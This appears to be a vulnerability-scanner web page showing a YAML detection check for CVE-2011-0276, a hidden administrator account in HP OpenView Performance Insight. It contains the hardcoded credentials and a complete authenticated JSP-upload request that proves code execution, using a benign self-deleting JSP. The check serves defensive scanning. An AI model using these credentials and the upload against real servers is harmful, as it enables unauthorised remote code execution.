Hp Ovpi — 1 vulnerability check

noctis ships 1 vulnerability check for Hp Ovpi, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

HP OpenView Performance Insight Hidden Account HelpManagerServlet JSP Upload

CVECVE-2011-0276
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/hp-ovpi/CVE-2011-0276.yaml

Detects HP OpenView Performance Insight Server 5.2 to 5.41 with the hidden administrator account hch908v built into its user manager. That account can upload files through the /reports/helpmanager servlet, including a JSP that the server then runs. The test first checks that the reports page asks for credentials, then logs in with the hidden account and confirms the administrator page ("Log off hch908v", "Administration" link). A second login with the same user and a random password must be refused, so servers that accept any password are not reported. It then uploads a per-run JSP into a random help directory and requests it: the JSP prints the sum of two random numbers and deletes itself and its directory. The finding is reported at the highest confidence when that computed sum comes back, which proves code execution; when only the hidden-account login works, it is reported at a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /reports/home?context=home&type=header&ov_user=hch908v
  3. HTTP(S) request GET /reports/home?context=home&type=header&ov_user=hch908v
  4. HTTP(S) request GET /reports/home?context=home&type=header&ov_user=hch908v
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST /reports/helpmanager with a crafted body
  7. HTTP(S) request GET /help/{{g.dir}}/{{g.name}}.jsp
  8. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Hidden account hch908v / z6t0j$+i logged in to /reports/home (a random password was refused with 401); POST /reports/helpmanager (location=…
  9. Checks v.proof for ^Log off hch908v$ → finding QoD 75: HP OpenView Performance Insight Hidden Administrator Account hch908v (CVE-2011-0276)

References:

Feed source — tests/vulnerabilities/hp-ovpi/CVE-2011-0276.yaml
# HP OpenView Performance Insight (OVPI) Server 5.2 – 5.41 — hidden
# administrator account hch908v / z6t0j$+i hardcoded in
# com.trinagy.security.XMLUserManager, usable to write arbitrary files (a JSP)
# through com.trinagy.servlet.HelpManagerServlet.doPost (/reports/helpmanager),
# CVE-2011-0276, ZDI-11-034, HP HPSBMA02621 (fixed by the 5.41.002 hotfix).
#
# Ported from OpenVAS/Greenbone NVT
#   2011/gb_hp_performance_insight_46079.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.103060, GPL-2.0-only)
# Upload shape from the Metasploit module
#   exploits/windows/http/hp_openview_insight_backdoor (EDB-16984).
#
# Detection:
#   1. GET /reports/home?context=home&type=header&ov_user=hch908v without
#      credentials must answer 401 (product gate, as in the NASL).
#   2. Same URL with Basic hch908v:z6t0j$+i; the hidden account is logged in
#      when the page shows "Log off hch908v" and "Administration</a>".
#   3. Control: same URL with hch908v and a random per-run password must answer
#      401, so a server that accepts any password is not reported (fail-closed:
#      no 401 on the control → no finding at all).
#   4. QoD 97 (real exploitation, benign): POST a per-run JSP to
#      /reports/helpmanager (multipart filename + location = random directory)
#      with the hidden account, then GET /help/<dir>/<name>.jsp. The JSP only
#      prints NOCTIS<a+b>END — the sum of two per-run random numbers, never in
#      the uploaded source — then deletes its own file and its (now empty)
#      directory, so nothing is left in the help tree.
#   5. QoD 75 fallback: the hidden-account login of step 2 alone, when the
#      upload cannot be confirmed.
#
# Better than the NASL: the NASL stops at the login page and never sends a
# control login, so a server (or a reverse proxy / honeypot) that accepts any
# Basic credentials for that URL is reported. This feed adds the wrong-password
# control and proves the code-execution impact of the CVE with a self-deleting
# JSP, where the NASL only shows that the account logs in.
uid: 012ae0be-17ad-46c4-8186-1021d62f2d48
name: "HP OpenView Performance Insight Hidden Account HelpManagerServlet JSP Upload (CVE-2011-0276)"
description: |
  Detects HP OpenView Performance Insight Server 5.2 to 5.41 with the hidden
  administrator account hch908v built into its user manager. That account can
  upload files through the /reports/helpmanager servlet, including a JSP that
  the server then runs. The test first checks that the reports page asks for
  credentials, then logs in with the hidden account and confirms the
  administrator page ("Log off hch908v", "Administration" link). A second login
  with the same user and a random password must be refused, so servers that
  accept any password are not reported. It then uploads a per-run JSP into a
  random help directory and requests it: the JSP prints the sum of two random
  numbers and deletes itself and its directory. The finding is reported at the
  highest confidence when that computed sum comes back, which proves code
  execution; when only the hidden-account login works, it is reported at a
  lower confidence.
cves: [CVE-2011-0276]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [hp, openview, performance-insight, ovpi, hardcoded-credentials, backdoor, file-upload, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-0276"
  - "https://www.zerodayinitiative.com/advisories/ZDI-11-034"
  - "https://www.exploit-db.com/exploits/16984"
  - "https://www.securityfocus.com/bid/46079"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/hp_openview_insight_backdoor.rb"

steps:
  # Per-run names, operands and control password. The marker is a+b, which
  # never appears in the uploaded JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let badpw = "noctis" + rand_hex(10);
      #{ dir: "noctis" + rand_hex(6), name: "noctis" + rand_hex(8), a: a, b: b,
         marker: "NOCTIS" + (a + b) + "END", badauth: base64_encode("hch908v:" + badpw) }
    store_as: g

  # Pre-initialise the results the verdict script reads, so a non-OVPI host
  # (gate not 401, login skipped) does not abort the test on an undefined var.
  - id: init_li
    action: set_var
    var_name: li
    var_value: false

  - id: init_ct
    action: set_var
    var_name: ct
    var_value: false

  # ── 1. Product gate: the reports page must ask for credentials ────────────
  - id: noauth
    action: http_request
    method: GET
    path: "/reports/home?context=home&type=header&ov_user=hch908v"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: na

  # ── 2. Hidden account hch908v / z6t0j$+i (Basic aGNoOTA4djp6NnQwaiQraQ==) ─
  - id: login
    action: http_request
    method: GET
    path: "/reports/home?context=home&type=header&ov_user=hch908v"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "type_of(na) == \"map\" && na.status == 401"
    headers:
      Authorization: "Basic aGNoOTA4djp6NnQwaiQraQ=="
    store_as: li

  # ── 3. Control: same user, random password, must be refused ──────────────
  - id: control
    action: http_request
    method: GET
    path: "/reports/home?context=home&type=header&ov_user=hch908v"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "type_of(li) == \"map\" && li.status == 200"
    headers:
      Authorization: "Basic {{g.badauth}}"
    store_as: ct

  - id: verdict
    action: script
    code: |
      let ok = false;
      if type_of(li) == "map" && li.status == 200 && type_of(ct) == "map" && ct.status == 401 {
        ok = stridx(li.body, "Log off hch908v") >= 0 && stridx(li.body, "Administration</a>") >= 0;
      }
      #{ ok: ok, proof: if ok { "Log off hch908v" } else { "" } }
    store_as: v

  # ── 4. Benign RCE proof: self-deleting JSP through HelpManagerServlet ────
  - id: upload
    action: http_request
    method: POST
    path: "/reports/helpmanager"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "v.ok"
    headers:
      Authorization: "Basic aGNoOTA4djp6NnQwaiQraQ=="
      Content-Type: "multipart/form-data; boundary=noctisxYzZY{{g.a}}"
    body: "--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"filename\"; filename=\"{{g.name}}.jsp\"\r\nContent-Type: application/x-java-archive\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { java.io.File f = new java.io.File(application.getRealPath(request.getServletPath())); f.delete(); f.getParentFile().delete(); } catch (Exception e) { } %>\r\n--noctisxYzZY{{g.a}}\r\nContent-Disposition: form-data; name=\"location\"\r\nContent-Type: text/plain\r\n\r\n{{g.dir}}\r\n--noctisxYzZY{{g.a}}--\r\n"
    store_as: up

  - id: fetch
    action: http_request
    method: GET
    path: "/help/{{g.dir}}/{{g.name}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "v.ok && type_of(up) == \"map\" && up.status == 200"
    store_as: jsp

  # Only a server that wrote AND executed the JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "v.ok && type_of(jsp) == \"map\" && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Hidden account hch908v / z6t0j$+i logged in to /reports/home (a random password was refused with 401); POST /reports/helpmanager (location={{g.dir}}) wrote {{g.name}}.jsp and GET /help/{{g.dir}}/{{g.name}}.jsp executed it, returning the computed marker {{g.marker}} (the JSP deleted itself and its directory after running)"
      stop: true

  # ── 5. Fallback: hidden-account login only ────────────────────────────────
  - id: hidden_login
    action: match
    source: v.proof
    pattern: "^Log off hch908v$"
    condition: "v.ok"
    on_match:
      finding:
        title: "HP OpenView Performance Insight Hidden Administrator Account hch908v (CVE-2011-0276)"
        confidence_delta: 0.50
        qod: 75
        evidence: "GET /reports/home?context=home&type=header&ov_user=hch908v answered 401 without credentials and 401 with a random password, but returned the administrator page (\"Log off hch908v\", \"Administration</a>\") with the hidden account hch908v / z6t0j$+i; the JSP upload through /reports/helpmanager could not be confirmed (if POST /reports/helpmanager answered 200, remove /help/{{g.dir}}/{{g.name}}.jsp, which deletes itself when run)"
      stop: true

View these feeds on GitHub